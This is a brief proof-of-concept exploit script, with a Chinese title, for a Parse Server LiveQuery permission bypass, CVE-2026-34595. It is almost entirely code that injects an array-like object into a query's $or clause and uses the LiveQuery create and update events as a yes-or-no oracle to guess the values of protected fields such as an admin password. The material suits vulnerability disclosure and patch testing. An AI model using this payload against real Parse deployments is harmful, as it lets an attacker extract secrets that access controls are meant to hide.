CVE-2026-34595 Parse Server权限绕过漏洞

// PoC for CVE-2026-34595: Parse Server LiveQuery protectedFields Bypass // This script demonstrates how an array-like object can bypass permission checks. const Parse = require('parse/node'); // Initialize Parse connection (requires valid credentials) Parse.initialize('YOUR_APP_ID', 'YOUR_JS_KEY', 'YOUR_MASTER_KEY'); Parse.serverURL = 'http://localhost:1337/parse'; // Target a class that has protectedFields configured const TargetClass = Parse.Object.extend('SensitiveData'); const query = new Parse.Query(TargetClass); // Construct the malicious payload using an object with numeric keys // instead of a standard array for the $or operator. const arrayLikePayload = { "0": { "secretField": "admin_password" }, // The value we want to test "length": 1 }; // Inject the payload into the query query._where.$or = arrayLikePayload; // Subscribe to the LiveQuery const subscription = await query.subscribe(); console.log('[*] Listening for events...'); // If the 'create' or 'update' event fires, it means the condition matched. // This acts as a binary oracle confirming the value of the protected field. subscription.on('update', (object) => { console.log('[+] Match found! The protected field likely matches the test value.'); }); subscription.on('create', (object) => { console.log('[+] Match found! The protected field likely matches the test value.'); });